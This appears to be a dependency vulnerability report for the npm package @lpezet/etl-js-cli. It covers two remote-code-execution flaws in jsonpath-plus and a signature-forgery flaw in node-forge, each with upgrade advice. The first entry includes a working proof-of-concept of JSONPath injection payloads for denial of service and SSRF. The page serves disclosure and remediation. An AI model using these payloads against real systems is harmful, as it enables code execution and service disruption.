Vulnerabilities

 3 via 3 paths

Dependencies

 66

Source

 GitHub

Find, fix and prevent vulnerabilities in your code.

Test and protect my applications
Severity
  • 2
  • 1
Status
  • 3
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: jsonpath-plus
  • Introduced through: @lpezet/etl-js@3.1.2

Detailed paths

  • Introduced through: @lpezet/etl-js-cli@lpezet/etl-js-cli › @lpezet/etl-js@3.1.2 › jsonpath-plus@4.0.0

Overview

jsonpath-plus is an A JS implementation of JSONPath with some additional operators

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.

Note:

There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.

PoC

const { JSONPath } = require("jsonpath-plus");

const pathDoS =
  "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
  "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";

const result = JSONPath({
  json: {
    referrer: {
      value: "http://authorized.com",
      writable: true,
    },
    method: {
      value: "POST",
      writable: true,
    },
    body: {
      value: "Hello, World!",
      writable: true,
    },
  },
  path: pathDoS,
});

result.toString(); //DoS

//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement

Remediation

Upgrade jsonpath-plus to version 10.2.0 or higher.

References

Remote Code Execution (RCE) vulnerability report

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: jsonpath-plus
  • Introduced through: @lpezet/etl-js@3.1.2

Detailed paths

  • Introduced through: @lpezet/etl-js-cli@lpezet/etl-js-cli › @lpezet/etl-js@3.1.2 › jsonpath-plus@4.0.0

Overview

jsonpath-plus is an A JS implementation of JSONPath with some additional operators

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode.

Note:

This is caused by an incomplete fix for CVE-2024-21534.

Remediation

Upgrade jsonpath-plus to version 10.3.0 or higher.

References

Remote Code Execution (RCE) vulnerability report

high severity
new

Improper Verification of Cryptographic Signature

  • Vulnerable module: node-forge
  • Introduced through: @lpezet/etl-js@3.1.2

Detailed paths

  • Introduced through: @lpezet/etl-js-cli@lpezet/etl-js-cli › @lpezet/etl-js@3.1.2 › google-auth-library@6.1.6 › gtoken@5.3.2 › google-p12-pem@3.1.4 › node-forge@1.4.0

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in rsa.js, whose DigestInfo validation checks the outer element count (obj.value.length !== 2) but never verifies the element count of the inner DigestAlgorithm SEQUENCE, so the ASN.1 parser accepts extra children that are ignored during digest extraction. An attacker can forge a signature that verifies as valid for an arbitrary message, without the private key, by fixing the target digest at the block boundaries and filling roughly 314 garbage bytes inside the DigestAlgorithm structure to absorb the mathematical residue. This only affects verification against RSA keys with a low public exponent such as e=3, and although _parseAllDigestBytes defaults to true and rejects trailing garbage, it does not detect this interior padding.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-33894 and, as of this publication, has not been acknowledged by project maintainers.

Remediation

A fix was pushed into the master branch but not yet published.

References

Improper Verification of Cryptographic Signature vulnerability report